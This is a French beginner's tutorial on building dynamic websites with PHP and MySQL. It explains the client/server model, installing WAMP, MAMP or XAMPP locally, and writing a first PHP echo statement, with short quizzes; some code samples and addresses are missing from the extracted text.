Créer un site dynamique avec PHP
Créer un site dynamique avec PHP
Plus d'informations
Blogs, réseaux sociaux, pages d'accueil personnalisables... Depuis quelques années, les sites web ont gagné en
fonctionnalités et sont devenus dans le même temps de plus en plus complexes.
Que le temps de la "page web perso" est loin ! Il y a une époque où l'on pouvait se contenter de créer un site basique.
Un peu de texte, quelques images : hop là, notre site perso était prêt.
Aujourd'hui, c'est différent : il faut que ça bouge ! On s'attend à ce qu'un site soit régulièrement mis à jour : on veut
voir des actualités sur la page d'accueil, on veut pouvoir les commenter, discuter sur des forums, bref, participer à la
vie du site.
Le langage PHP a justement été conçu pour créer des sites "vivants" (on parle de sites dynamiques). Et si vous voulez
apprendre à créer vous aussi des sites web dynamiques, c'est votre jour de chance : vous êtes sur un cours pour vrais
débutants en PHP !
L'essentiel, c'est de lire en entier les chapitres dans l'ordre. Après, ça passe tout seul et vous vous étonnerez bientôt
de ce que vous êtes capable de faire !
Pour utiliser PHP, il faut connaître au préalable les langages XHTML et CSS.
Comment ça, ces langages ne vous disent rien ? Vous ne savez même pas ce qu'est un "langage" ? Il faut donc que vous
lisiez d'abord mon cours de création de site web en XHTML et CSS avant de revenir ici !
1) Introduction à PHP
4) Les variables
5) Les fonctions
6) Les conditions
8) Les boucles
Tableaux numérotés
Tableaux associatifs
Q.C.M.
1) Présentation de MySQL
2) PhpMyAdmin
Connexion à la BDD
Récupérer les données
Les critères de sélection
Compter le nombre d'entrées
Q.C.M.
5) TP : un Mini-Chat
Réalisation du Mini-Chat
1) Les includes
La fonction include
Bien utiliser les includes
Q.C.M.
La concaténation
Des outils très pratiques
Les variables variables
Q.C.M.
Fonctionnement du formulaire
Les éléments du formulaire
Petit exercice
L'envoi de fichiers
Q.C.M.
4) TP : un livre d'or
5) Les dates
La fonction date
Le timestamp
Q.C.M.
Le CHMOD
Ouvrir et fermer le fichier
Lire et écrire dans le fichier
Q.C.M.
Explorer un array
Rechercher dans un array
Transformer une chaîne en array
Q.C.M.
Activer la librairie GD
Les bases de la création d'image
Texte et couleur
Dessiner une forme
Des fonctions encore plus puissantes
Q.C.M.
Partie 5 : Annexes
Dans les annexes, vous trouverez plusieurs choses intéressantes en rapport avec le PHP que je n'ai pas pu
mettre dans le cours.
Ne regardez pas les annexes à la fin, mais plutôt pendant de la lecture du cours, histoire de souffler entre 2
chapitres.
1) Codez proprement
Accéder à la doc
Présentation d'une fonction
Créer le .htaccess
Créer le .htpasswd
Envoyer les fichiers sur le serveur
Introduction à PHP
Plus d'informations
Ce qui fait le succès du Web aujourd'hui, c'est à la fois sa simplicité et sa facilité d'accès. Un internaute lambda n'a pas
besoin de savoir "comment ça fonctionne derrière". Et heureusement pour lui.
En revanche, un apprenti webmaster tel que vous doit, avant toute chose, connaître les bases du fonctionnement d'un
site web. Qu'est-ce qu'un serveur et un client ? Comment rend-on son site dynamique ? Que signifient PHP et MySQL ?
Ce premier chapitre est là pour répondre à toutes ces questions et vous montrer que vous êtes capables d'apprendre à
créer des sites web dynamiques. Tous les lecteurs seront à la fin rassurés de savoir qu'ils commencent au même niveau
!
Sommaire du chapitre :
Les sites statiques : ce sont des sites réalisés uniquement à l'aide des langages (X)HTML
et CSS. Ils fonctionnent très bien mais leur contenu ne peut pas être mis à jour
automatiquement : il faut que le propriétaire du site (le webmaster) modifie le code
source pour y ajouter des nouveautés. Ce n'est pas très pratique quand on doit mettre à
jour son site plusieurs fois dans la même journée ! Les sites statiques sont donc bien
adaptés pour réaliser des sites "vitrine", pour présenter par exemple son entreprise, mais sans aller plus loin. Ce
type de site se fait de plus en plus rare aujourd'hui, car dès que l'on rajoute un élément d'interaction (comme
un formulaire de contact), on ne parle plus de site statique mais de site dynamique.
Les sites dynamiques : plus complexes, ils utilisent d'autres langages en plus de (X)HTML et CSS, tels que PHP
et MySQL. Le contenu de ces sites web est dit "dynamique" parce qu'il peut changer sans l'intervention du
webmaster ! La plupart des sites web que vous visitez aujourd'hui, y compris le Site du Zéro, sont des sites
dynamiques. Le seul prérequis pour apprendre à créer ce type de site est de déjà savoir réaliser des sites
statiques en XHTML et CSS (vous pouvez lire mon cours sur XHTML et CSS pour vous mettre à niveau).
L'objectif de ce cours est de vous rendre capables de réaliser des sites web dynamiques entièrement par vous-mêmes,
pas à pas.
En effet, ceux-ci peuvent proposer des fonctionnalités bien plus excitantes que les sites statiques. Voici quelques
éléments que vous serez en mesure de réaliser :
Un espace membres : vos visiteurs peuvent s'inscrire à votre site et avoir accès à des sections qui leur sont
réservées.
Un forum : il est courant aujourd'hui de voir les sites web proposer un forum de discussion pour s'entraider ou
simplement pour passer le temps.
Un compteur de visiteurs : vous pouvez facilement compter le nombre de visiteurs qui se sont connectés dans
la journée sur votre site, ou même connaître le nombre de visiteurs en train de naviguer dessus !
Des actualités : vous pouvez automatiser l'écriture d'actualités, en offrant à vos visiteurs la possibilité d'en
rédiger, de les commenter, etc.
Une newsletter : vous pouvez envoyer un e-mail à tous vos membres régulièrement pour leur présenter les
nouveautés et les inciter ainsi à revenir sur votre site.
Bien entendu, ce ne sont là que des exemples. Il est possible d'aller encore plus loin, tout dépend de vos besoins.
Sachez par exemple que la quasi-totalité des sites de jeux en ligne sont dynamiques. On retrouve notamment des sites
d'élevage virtuel d'animaux, des jeux de conquête spatiale, etc.
Mais... Ne nous emportons pas. Avant de pouvoir en arriver là, vous avez de la lecture et bien des choses à apprendre !
Commençons par la base : savez-vous ce qui se passe lorsque vous consultez une page web ?
Il faut savoir qu'internet est un réseau composé d'ordinateurs. Ceux-ci peuvent être classés en deux catégories :
Les clients : ce sont les ordinateurs des internautes comme vous. Votre ordinateur fait donc partie de la
catégorie des clients. Chaque client représente un visiteur d'un site web. Dans les schémas qui vont suivre,
l'ordinateur d'un client sera représenté par cette image :
Les serveurs : ce sont des ordinateurs puissants qui stockent et délivrent des sites web aux internautes, c'est-
à-dire aux clients. La plupart des internautes n'ont jamais vu un serveur de leur vie. Pourtant, les serveurs sont
indispensables au bon fonctionnement du web. L'image ci-dessous représentera un serveur dans les schémas
suivants :
La plupart du temps, le serveur est dépourvu d'écran : il reste allumé et travaille tout seul sans intervention
humaine, 24h/24, 7j/7. Un vrai forçat du travail.
On résume : votre ordinateur est appelé le client, tandis que l'ordinateur qui détient le site web est appelé le serveur.
Comment les deux communiquent-ils ?
C'est justement là que se fait la différence entre un site statique et un site dynamique. Voyons voir ensemble ce qui
change.
Lorsque le site est statique, le schéma est très simple. Cela se passe en deux temps :
Sur un site statique, il ne se passe rien d'autre. Le serveur stocke des pages web et les envoie aux clients qui les
demandent sans les modifier.
Lorsque le site est dynamique, il y a une étape intermédiaire : la page est générée.
La page web est générée à chaque fois qu'un client la réclame. C'est précisément ce qui rend les sites dynamiques
vivants : la contenu d'une même page peut changer d'un instant à l'autre.
C'est comme cela que certains sites parviennent à afficher par exemple votre pseudonyme sur toutes les pages. Étant
donné que le serveur génère une page à chaque fois qu'on lui en demande une, il peut la personnaliser en fonction des
goûts et des préférences du visiteur (et afficher entre autres son pseudonyme).
Lorsqu'on crée un site web, on est amené à manipuler non pas un mais plusieurs langages. En tant que webmaster, il
faut impérativement les connaître.
Certains programmes, appelés WYSIWYG (What You See Is What You Get), permettent d'aider les plus novices
à créer un site web statique sans connaître les langages informatiques qui se cachent derrière... Mais pour réaliser un
site dynamique comme nous le souhaitons, nous devrons absolument mettre les mains dans le cambouis.
De nombreux langages ont été créés pour produire des sites web. Deux d'entre eux constituent une base
incontournable pour tous les webmasters :
XHTML : c'est le langage à la base des sites web. Il ressemble beaucoup au HTML mais impose quelques règles
un peu plus strictes. Dans la mesure du possible je recommande d'utiliser XHTML plutôt que HTML car cela vous
force à soigner le code source de vos sites.
XHTML est un langage simple à apprendre qui fonctionne à partir de balises. Voici un exemple de code XHTML :
Code : HTML
CSS : c'est le langage de mise en forme des sites web. Tandis que le XHTML permet d'écrire le contenu de vos
pages web et de les structurer, le langage CSS s'occupe de la mise en forme et de la mise en page. C'est en CSS
que l'on choisit notamment la couleur, la taille des menus et bien d'autres choses encore. Voici un code CSS :
Code : CSS
div.banner {
text-align: center;
font-weight: bold;
font-size: 120%;
}
Ces langages sont la base de tous les sites web. Lorsque le serveur envoie la page web au client, il envoie en fait du
code en langage XHTML et CSS.
Le problème, c'est que lorsqu'on connaît seulement XHTML et CSS, on ne peut produire que des sites statiques... et
pas des sites dynamiques ! Pour ces derniers, il est nécessaire de manipuler d'autres langages en plus de XHTML et
CSS.
La question qu'il faut vous poser est donc : connaissez-vous XHTML et CSS ?
Si oui, c'est parfait, vous pouvez continuer car nous en aurons besoin par la suite. Si la réponse est non, pas de
panique. Ces langages ne sont pas bien difficiles, ils sont à la portée de tous. Vous pouvez les apprendre en lisant mon
cours sur XHTML et CSS.
Sachez qu'apprendre ces langages n'est l'affaire que de quelques petites semaines, voire même moins si vous avez
suffisamment de temps libre.
Quel que soit le site web que l'on souhaite créer, XHTML et CSS sont donc indispensables. Cependant, ils ne suffisent
pas pour réaliser des sites dynamiques. Il faut les compléter avec d'autres langages.
C'est justement tout l'objet de ce cours : vous allez apprendre à manipuler PHP et MySQL pour réaliser un site web
dynamique.
PHP : c'est un langage que seuls les serveurs comprennent et qui permet de rendre votre site dynamique. C'est
PHP qui "génère" la page web comme on l'a vu sur un des schémas précédents.
Ce sera le premier langage que nous découvrirons dans ce cours. Il peut fonctionner seul, mais il ne prend
vraiment de l'intérêt que s'il est combiné à un outil tel que MySQL. Voici un code PHP :
Code : PHP
MySQL : c'est ce qu'on appelle un SGBD (Système de Gestion de Base de Données). Pour faire simple, son rôle
est d'enregistrer des données de manière organisée afin de vous aider à les retrouver facilement plus tard. C'est
grâce à MySQL que vous pourrez enregistrer la liste des membres de votre site, les messages postés sur le
forum, etc. Le langage qui permet de communiquer avec la base de données s'appelle le SQL. Voici un code en
langage SQL :
Code : SQL
SELECT id, auteur, message, datemsg FROM livreor ORDER BY datemsg DESC LIMIT 0, 10
PHP et MySQL sont ce qu'on appelle des logiciels libres. Entre autres choses, cela vous donne des garanties de
pérennité : tout le monde peut contribuer à leur développement, vous ne risquez donc pas de voir tous les webmasters
se désintéresser du PHP et de MySQL du jour au lendemain, et ça c'est très important !
D'autre part, PHP et MySQL sont disponibles gratuitement. Cela signifie une chose essentielle : vous n'aurez pas à
débourser un centime pour construire votre site web !
PHP peut fonctionner seul et suffit à créer un site dynamique, mais les choses deviennent réellement intéressantes
lorsqu'on le combine à un SGBD tel que MySQL. Cependant pour simplifier, oublions pour le moment MySQL et
concentrons-nous sur PHP.
Les clients sont incapables de comprendre le code PHP, ils ne connaissent que le XHTML et le CSS. Seul le serveur est
capable de lire du PHP.
Le rôle de PHP est justement de générer du code XHTML (on peut aussi générer du CSS, mais c'est plus rare), code qui
est ensuite envoyé au client de la même manière qu'un site statique :
PHP décide ce qui va être affiché sur la page web envoyée au visiteur
PHP est un langage de programmation utilisé sur de nombreux serveurs pour prendre des décisions. C’est PHP qui
décide du code XHTML qui sera généré et envoyé au client à chaque fois.
Pour bien comprendre l’intérêt de tout cela, prenons un exemple. On peut écrire en PHP : "Si le visiteur est membre
de mon site et qu’il s’appelle Jonathan, affiche Bienvenue Jonathan sur la page web. En revanche, si ce n’est pas un
membre de mon site, affiche Bienvenue à la place et propose au visiteur de s’inscrire."
C'est un exemple très basique de site dynamique : selon que vous êtes un membre enregistré ou pas, vous ne verrez
pas les mêmes choses et n'aurez peut-être pas accès à toutes les sections.
Et la concurrence ?
XHTML et CSS n'ont pas de concurrents car ce sont des standards. Tout le monde est censé les connaître et les utiliser
sur tous les sites web.
En revanche, pour ce qui est des sites dynamiques, PHP et MySQL sont loin d'être les seuls sur le coup. Je ne peux pas
vous faire une liste complète de leurs concurrents, ce serait bien trop long (et ennuyeux !). Cependant, pour votre
culture générale il faut au moins connaître quelques autres grands noms.
Tout d'abord, si on a souvent tendance à combiner PHP et MySQL pour réaliser de puissants sites dynamiques, il ne
faut pas mélanger les deux. Le premier a des concurrents différents du second.
ASP .NET : conçu par Microsoft, il exploite le framework .NET bien connu des développeurs C# (un
framework est un ensemble de bibliothèques qui fournissent des services pour les développeurs). Ce
langage peut être intéressant si vous avez l'habitude de développer en C# .NET et que vous ne
voulez pas être dépaysés.
Ruby on Rails : très actif, ce framework s'utilise avec le langage Ruby et permet de réaliser des
sites dynamiques rapidement en suivant certaines conventions.
Django : il est similaire à Ruby on Rails, mais il s'utilise en langage Python.
Java et les JSP (Java Server Pages) : plus couramment appelé "JEE", il est particulièrement utilisé dans le
monde professionnel. Il demande une certaine rigueur. La mise en place d'un projet JEE est traditionnellement
un peu plus longue et plus lourde mais le système est apprécié des professionnels et des institutions (c'est ce
qui est utilisé sur le sites des impôts français par exemple).
Je ne peux pas présenter ici tous les concurrents, mais ceci devrait déjà vous donner une bonne idée. Pour information,
il est aussi possible d'utiliser par exemple le langage C ou le C++, bien que ce soit plus complexe et pas forcément
toujours très adapté (en clair, je ne le recommande pas du tout ).
Étant donné l'objet de ce cours, vous vous attendez à ce que je vous réponde instantanément "PHP !". Mais non. En
fait, tout dépend de vos connaissances en programmation. Si vous avez déjà manipulé le Java, vous serez plus
rapidement à l'aise avec les JSP. Si vous connaissez Python, Django semble tout indiqué.
Quant à PHP, il se démarque de ses concurrents par une importante communauté qui peut vous aider rapidement sur
internet si vous avez des problèmes. C'est un langage facile à utiliser, idéal pour les débutants comme pour les
professionnels : Wikipédia et Facebook sont des exemples de sites célèbres et très fréquentés qui fonctionnent grâce à
PHP.
Bref, il n'y a pas de meilleur choix. Je vous recommande le langage pour lequel vous serez le plus certain d'avoir
quelqu'un pour vous aider. Le PHP en ce sens est souvent un très bon choix.
En ce qui concerne les bases de données, le choix est là encore très vaste.
Cependant, alors que PHP et ses concurrents sont la plupart du temps libres et gratuits, ce n'est pas le cas de la
plupart des SGBD.
Parmi les concurrents de MySQL, je vous conseille de connaître (au moins de nom) :
Là encore, cette liste est loin d'être exhaustive mais vous présente au moins quelques grands noms.
Pour information, MySQL reste de loin le SGBD libre et gratuit le plus utilisé. Parmi les solutions professionnelles
payantes, Oracle est le plus avancé et le plus répandu mais son utilisation est surtout réservée aux grosses entreprises.
En fin de compte, si vos moyens sont limités, vous n'avez pas beaucoup de choix pour le SGBD. MySQL est le plus
indiqué car il est libre, gratuit, performant et utilisé par de nombreuses personnes qui sont susceptibles de vous aider.
Comme vous avez pu le constater, vous avez le choix entre de nombreux outils pour réaliser un site dynamique. La
plupart d'entre eux sont gratuits.
Sachez que vous pouvez a priori combiner ces outils comme bon vous semble. Par exemple, on peut très bien utiliser
PHP avec une autre base de données que MySQL, telle que Oracle ou PostgreSQL. De même, MySQL peut être utilisé
avec n'importe quel autre langage : Java, Python, Ruby, etc.
Cependant, la combinaison "PHP + MySQL" est probablement la plus courante. Ce n'est pas par hasard si ce cours
traite de ces deux outils qui ont fait leurs preuves.
Q.C.M.
Je veux réaliser un site vitrine qui présente simplement mon entreprise de plomberie, avec quelques photos et
mes tarifs. Est-ce que mon site sera statique ou dynamique ?
Statique
Dynamique
Lorsqu'on crée un site statique, lequel de ces langages ne nous est pas utile ?
XHTML
CSS
PHP
Comment appelle-t-on l'ordinateur qui stocke et délivre le site web aux visiteurs ?
Le client
Le serveur
Le fournisseur
Correction !
Vous devriez maintenant avoir une bonne idée de ce que permettent de faire PHP et MySQL. Si vous retenez que PHP
génère du XHTML personnalisé pour chaque visiteur et que MySQL sert à stocker les données, vous savez déjà le
principal.
Dans la première partie de ce cours nous allons découvrir PHP en douceur. Nous mettons donc de côté MySQL et ne
ferons pas de stockage de données dans un premier temps. Lorsque vous aurez acquis un certain niveau en PHP, je
vous reparlerai de MySQL et nous pourrons alors commencer à réaliser des fonctionnalités très intéressantes pour votre
futur site.
Plus d'informations
Nous savons désormais que le PHP s'exécute sur le serveur et que son rôle est de générer des pages web. Cependant, seul un serveur
peut lire du PHP et votre ordinateur n'est pas un serveur. Comment diable allez-vous pouvoir créer un site dynamique si le PHP ne
fonctionne pas chez vous ?
Qu'à cela ne tienne : nous allons temporairement transformer votre ordinateur en serveur pour que vous puissiez exécuter du PHP et
travailler sur votre site dynamique. Vous serez fin prêt à programmer après avoir lu ce chapitre !
Sommaire du chapitre :
Les webmasters qui créent des sites statiques avec XHTML et CSS ont de la chance, ils ont en général déjà tous les programmes dont
ils ont besoin :
Un éditeur de texte : en théorie un programme tel que le Bloc-Notes livré avec Windows suffit,
bien qu'il soit recommandé d'utiliser un outil un peu plus évolué comme Notepad++. Nous
reparlerons du choix de l'éditeur dans le chapitre suivant lorsque nous commencerons à pratiquer.
Un navigateur web : il permet de tester la page web. Vous pouvez utiliser par exemple Mozilla
Firefox, Internet Explorer, Google Chrome, Opera, Safari, ou tout autre navigateur auquel vous êtes
habitué pour aller sur le web. Il est conseillé de tester son site régulièrement sur différents
navigateurs.
Mozilla Firefox
Cependant, pour ceux qui comme nous travaillent sur des sites dynamiques, ces outils ne suffisent pas. Il est nécessaire d'installer des
programmes supplémentaires.
Pour que votre ordinateur puisse lire du PHP, il faut qu'il se comporte comme un serveur. Rassurez-vous, vous n'avez pas besoin
d'acheter une machine spéciale pour cela : il suffit simplement d'installer les mêmes programmes que ceux que l'on trouve sur les
Apache : c'est ce qu'on appelle un serveur web. Il s'agit du plus important de tous les programmes, car
c'est lui qui est chargé de délivrer les pages web aux visiteurs. Cependant, Apache ne gère que les sites
web statiques (il ne peut traiter que des pages HTML). Il faut donc le compléter avec d'autres
programmes.
PHP : c'est un plug-in pour Apache qui le rend capable de traiter des pages web dynamiques en PHP. En
clair, en combinant Apache et PHP, notre ordinateur sera capable de lire des pages web en PHP.
MySQL : c'est le logiciel de gestion de base de données dont je vous ai parlé en introduction. Il permet Logo d'Apache
d'enregistrer des données de manière organisée (comme la liste des membres de votre site). Nous n'en aurons pas besoin
immédiatement, mais autant l'installer de suite.
Tous ces éléments qui vont nous aider à créer notre site dynamique sont libres et gratuits. Certes, il en existe d'autres (parfois
payants), mais la combinaison Apache + PHP + MySQL est la plus courante sur les serveurs web, à tel point qu'on a créé des "packs"
tous prêts qui contiennent tous ces éléments. Il est possible de les installer un à un mais cela prend plus de temps et vous n'allez rien
y gagner (sauf si vous êtes administrateur de serveur, ce qui ne devrait pas être votre cas ).
Nous allons voir comment installer le "pack" qui convient en fonction de votre système d'exploitation dans la suite de ce chapitre.
Commencez par télécharger WAMP sur son site web officiel. Rendez-vous sur la page "Téléchargement". Vous n'êtes pas obligé de
remplir le formulaire, il vous suffit de descendre tout en bas de la page et de cliquer sur "Télécharger WampServer".
Une fois téléchargé, installez-le en laissant toutes les options par défaut. Il devrait s'installer dans un répertoire comme C:\wamp et
créer un raccourci dans le menu Démarrer.
Lorsque vous lancez WAMP, une icône doit apparaître en bas à droite de la barre des tâches, à côté de l'horloge :
Si une fenêtre apparaît pour vous indiquer que le pare-feu bloque Apache, cliquez sur Débloquer. Vous n'avez aucune raison de vous
inquiéter, c'est parfaitement normal.
Par défaut, WAMP est en anglais. Vous pouvez facilement le passer en français en faisant un clic droit sur l'icône de WAMP dans la
barre des tâches, puis en allant dans le menu Language / french.
Vous pouvez maintenant lancer la page d'accueil de WAMP. Faites un clic gauche sur l'icône de WAMP (attention, j'ai bien dit un clic
gauche cette fois), puis cliquez sur Localhost.
Une page web similaire à la capture ci-dessous devrait s'ouvrir dans votre navigateur favori (Firefox par exemple). Si la page s'affiche
chez vous, cela signifie qu'Apache fonctionne.
La page web que vous voyez à l'écran vous a été envoyée par votre propre serveur Apache que vous avez installé en même
temps que WAMP. Vous êtes en train de simuler le fonctionnement d'un serveur web sur votre propre machine. Pour le moment, vous
êtes le seul internaute à pouvoir y accéder. On dit qu'on travaille "en local". Notez que l'URL affichée par le navigateur dans la barre
d'adresse est , ce qui signifie que vous naviguez sur un site web situé sur votre propre ordinateur.
La section "Vos projets" de la page d'accueil de WAMP doit indiquer qu'aucun projet n'existe pour le moment. Considérez que chaque
site web que vous entreprenez de faire est un nouveau projet.
Nous allons créer un projet de test que nous appellerons . Pour ce faire, ouvrez l'explorateur Windows et rendez-vous dans le
dossier où WAMP a été installé, puis dans le sous-dossier intitulé . Par exemple :
Une fois dans ce dossier, créez un nouveau sous-dossier que vous appellerez :
Retournez sur la page d'accueil de WAMP et actualisez la page (vous pouvez appuyer sur la touche F5). La section "Vos projets" devrait
maintenant afficher "tests" car WAMP a détecté que vous avez créé un nouveau dossier :
Vous pouvez cliquer sur le lien "tests". Comme vous n'avez pas encore créé de fichier PHP, vous devriez voir une page vide comme ceci :
Si vous avez le même résultat, cela signifie que tout fonctionne. Bravo, vous avez installé WAMP et il fonctionne correctement. Vous
êtes prêt à programmer en PHP !
Vous pouvez passer les sections suivantes qui ne concernent que les utilisateurs sous Mac OS X et Linux.
Rendez-vous sur le site officiel de MAMP et cliquez sur "Download Now" sur la page d'accueil :
Si vous avez une version de Mac OS X antérieure à Mac OS X 10.4, vous devrez télécharger une ancienne version de MAMP grâce
aux liens présents un peu plus bas sur la même page.
Vous devriez avoir téléchargé une archive au format .dmg qui contient MAMP. Lorsque vous l'ouvrez, la fenêtre ci-dessous apparaît :
Vous devez tout simplement faire glisser le dossier MAMP en bas à gauche vers le dossier Applications au-dessus.
MAMP est maintenant installé. Vous le trouverez dans votre dossier "Applications". La fenêtre principale de MAMP indique que les
serveurs Apache et MySQL ont été correctement démarrés. L'icône de chacun de ces éléments doit être verte :
Je vous invite à configurer le répertoire dans lequel Apache ira chercher les fichiers PHP de votre site web. Pour cela, cliquez sur le
bouton Préférences de la fenêtre principale. Une boîte de dialogue de configuration s'ouvre. Cliquez sur l'onglet Apache en haut :
Cliquez sur le bouton "Choisir" pour sélectionner le dossier dans lequel vous placerez les fichiers de votre site web. Sous Mac OS, un
dossier est déjà créé : il s'agit de "Sites" dans votre répertoire personnel.
Sélectionnez ce répertoire (notez que ce n'est pas une obligation : vous pouvez utiliser n'importe quel autre répertoire si vous le
désirez), qui devrait être de la forme .
Validez les changements et retournez sur la fenêtre principale de MAMP. Là, cliquez sur "Ouvrir la page d'accueil". Votre navigateur
(Firefox ou Safari par exemple) devrait alors s'ouvrir et afficher une page web.
Pour vous préparer pour la suite, je vous invite à créer un dossier "tests" dans votre répertoire "Sites". Nous placerons nos premiers
fichiers PHP de test à l'intérieur.
Si le dossier "tests" a été correctement créé, vous pouvez visualiser son contenu en allant avec votre navigateur à l'adresse :
MAMP est correctement installé et configuré. Vous êtes maintenant prêt à travailler en PHP pour le chapitre suivant !
Sous Linux, il est courant d'installer Apache, PHP et MySQL séparément. Toutefois, il existe aussi des packs tous prêts comme XAMPP
(X Apache MySQL Perl PHP), anciennement connu sous le nom de LAMPP.
Ce pack est plus complet que WAMP pour Windows ou MAMP pour Mac OS X. Nous n'utiliserons toutefois qu'une partie des éléments
installés.
XAMPP est aussi disponible pour Windows et Mac OS X comme vous pourrez le constater sur le site. La méthode d'installation
est sensiblement différente, mais vous pouvez l'essayer si vous avez déjà testé WAMP (pour Windows) ou MAMP (pour Mac OS X) et qu'il
ne vous convient pas.
Sur la page qui s'affiche, recherchez le lien de téléchargement de XAMPP pour Linux un peu plus bas :
Une fois le téléchargement terminé, ouvrez une console. L'installation et le lancement de XAMPP se font en effet uniquement en
console (allons allons, pas de chichis, vous n'allez pas me faire avaler que c'est la première fois que vous ouvrez la console ).
Rendez-vous dans le dossier où vous avez téléchargé XAMPP. Par exemple dans mon cas, le fichier se trouve sur le bureau :
Code : Console
cd ~/Desktop
Code : Console
sudo su
Vous devez maintenant extraire le dossier compressé dans /opt. Pour ce faire, recopiez simplement la commande suivante :
Code : Console
Il se peut que le nom du fichier soit légèrement différent si le numéro de version a changé. Adaptez le nom du fichier en le
complétant automatiquement à l'aide de la touche Tabulation.
Lorsque la décompression des fichiers est terminée, c'est fait ! XAMPP est maintenant installé.
Pour démarrer XAMPP (et donc Apache, PHP et MySQL), tapez la commande suivante :
Code : Console
/opt/lampp/lampp start
Code : Console
/opt/lampp/lampp stop
N'oubliez pas que vous devez être root lorsque vous démarrez ou arrêtez XAMPP.
Vous pouvez maintenant tester XAMPP en ouvrant votre navigateur favori et en tapant l'adresse suivante :
Vous devriez voir la page de sélection de la langue de XAMPP. Cliquez sur "Français" :
La page principale de configuration de XAMPP s'affiche ensuite. Elle est plus complète que ses homologues WAMP et MAMP,
notamment parce que XAMPP contient plus de logiciels et propose donc plus de fonctionnalités (beaucoup plus ).
Au minimum, les modules MySQL et PHP doivent être en vert. Quant aux autres, nous ne les utiliserons pas donc peu importe.
Les fichiers PHP devront être placés dans le répertoire . Vous pouvez y créer un sous-répertoire pour vos
premiers tests.
Code : Console
cd /opt/lampp/htdocs
mkdir tests
Une fois le dossier créé, vous pouvez y accéder depuis votre navigateur à l'adresse :
Q.C.M.
A-t-on besoin de plus de logiciels lorsqu'on crée un site dynamique ou lorsqu'on crée un site statique ?
Site dynamique
Site statique
Votre ordinateur peut-il comprendre les fichiers PHP sans installer de programme particulier ?
Oui
Non
Java
Apache
MySQL
Correction !
Plus d'informations
Comme le titre du chapitre l'indique, c'est maintenant que vous allez faire vos premiers pas en PHP.
Vous allez découvrir vos premières instructions et la joie des scripts qui font planter votre ordi...
Bah quoi partez pas ?! Vous allez voir, je ne vais pas vous faire faire des trucs compliqués, juste les bases de la
programmation PHP.
C'est partiii !
Sommaire du chapitre :
Pour éditer le code d'une page web, vous avez plusieurs solutions :
Utiliser un éditeur de texte tout simple que vous avez déjà, comme Bloc-Notes. Pour l'ouvrir, faites Démarrer /
Programmes / Accessoires / Bloc-notes. Ce logiciel suffit normalement à faire du PHP mais..
Le mieux reste d'utiliser un logiciel spécialisé qui colore votre code (très pratique) et qui numérote vos lignes
(très pratique aussi). Malheureusement, ce genre de logiciels est généralement en anglais, payant et pas très
facile à utiliser.J'ai fait de nombreuses recherches pour vous trouver un éditeur sympa, français, gratuit et facile
à utiliser, et j'ai fini par trouver. Ce logiciel s'appelle Notepad++, il est petit, rapide à télécharger. N'hésitez
pas à l'essayer :
Sous Linux, les bons éditeurs ne manquent pas. Vous avez déjà sûrement vim ou emacs installé !
Quel que soit le logiciel que vous utilisez, rassurez-vous, ça ne change pas du tout la manière dont vous allez
apprendre le PHP : les manipulations seront exactement les mêmes pour tout le monde.
On va commencer par créer une page HTML toute simple, car je vous l'ai dit le PHP a toujours besoin du HTML. Le
code ci-dessous ne contient que du HTML, recopiez-le dans l'éditeur de texte que vous avez choisi (Bloc-notes ou
Notepad++) :
Code : HTML
<p>
Cette page contient <strong>uniquement</strong> du code (X)HTML.<br />
Voici quelques petits tests :
</p>
<ul>
<li class="bleu">Texte en bleu</li>
<li class="rouge">Texte en rouge</li>
<li class="vert">Texte en vert</li>
</ul>
</body>
</html>
Avec Bloc-Notes
Si vous le recopiez dans bloc-notes, vous devriez voir ceci :
Pour enregistrer la page HTML, vous devrez faire Fichier / Enregistrer. Dans la fenêtre qui s'ouvre, tapez le nom de
votre fichier entre guillemets. Par exemple : "test.html". Vous devriez donc avoir ceci sous les yeux :
Avec Notepad++
Si vous utilisez Notepad++, vous devrez d'abord aller dans le menu "Langage" et sélectionner PHP.
Vous verrez que cela colore le code PHP mais aussi le code HTML.
Vous devriez donc voir votre code coloré comme ceci :
Pour enregistrer, vous allez dans le menu "Fichier / Enregistrer". Vous sélectionnez en bas de la fenêtre qui vient de
s'ouvrir : "Type : HTML File (*.html)", puis vous tapez le nom du fichier que vous voulez créer (par exemple "test") :
Essayer !
Bien, jusque-là je ne vous surprends pas trop, tout ça vous savez le faire
Vous savez donc que le code source d'une page HTML est constitué de "balises", aussi appelées "tags". Par exemple
<ul> est une balise.
Si je vous parle de cela, ce n'est pas par hasard. C'est que pour utiliser du PHP, on va devoir introduire une nouvelle
balise... celle-ci est un peu spéciale. Elle commence par <?php et se termine par ?>. C'est dedans que l'on mettra du
code PHP, ce que je vais vous apprendre tout au long de ce cours.
Code : PHP
Une chose importante : en général, le code PHP tient sur plusieurs lignes. On peut sans problème agrandir la taille de
la balise sur plusieurs lignes. Par exemple, on peut faire ceci :
Code : PHP
Tout ce qu'il faut retenir pour mettre du code PHP, c'est cette balise <?php ?>
Il existe d'autres balises pour utiliser du PHP, par exemple <? ?>, <% %>, etc... Ne soyez donc pas étonnés si
vous en voyez.
<?php ?> est la forme la plus correcte, vous apprendrez donc à vous servir de cette balise
Code : PHP
<p>
Cette page contient du code (x)HTML avec des balises PHP.<br />
<?php // Ici on mettra du code PHP
?>
Voici quelques petits tests :
</p>
<ul>
<li class="bleu">Texte en bleu</li>
<li class="rouge">Texte en rouge</li>
<li class="vert">Texte en vert</li>
</ul>
Bien entendu cette page ne fonctionne pas vu que nous n'avons pas encore mis de code PHP.Tout ce qu'il vous faut
retenir ici, c'est que dès que vous voulez mettre du code PHP, hop, vous ouvrez une balise PHP : <?php ?>
Afficher du texte
Bon tout ça c'est bien beau, mais il va falloir commencer à mettre du code PHP non ?
Grande nouvelle : c'est maintenant que vous allez apprendre votre première instruction en PHP
Bon ne vous attendez pas à quelque chose d'extraordinaire, votre PC ne va pas se mettre à danser la samba tout seul
La fonction que je vais vous apprendre permet d'afficher du texte. Je vais vous faire manipuler d'abord pour
que vous voyez ce que ça donne, puis je vous expliquerai en détail comment ça marche.
Code : PHP
<p>
Cette ligne a été écrite entièrement en (x)HTML.<br />
<?php echo "Celle-ci a été écrite entièrement en PHP."; ?>
</p>
</body>
</html>
Enregistrez la page avec l'extension .php, par exemple "affichertexte.php", dans le dossier "tests" que je vous ai fait
créer.
Si vous utilisez Bloc-notes, n'oubliez pas d'entourer le nom de votre fichier de guillemets. Par exemple :
"affichertexte.php". Si vous oubliez les guillemets, ça va créer un fichier affichertexte.php.txt et ça ne marchera pas !
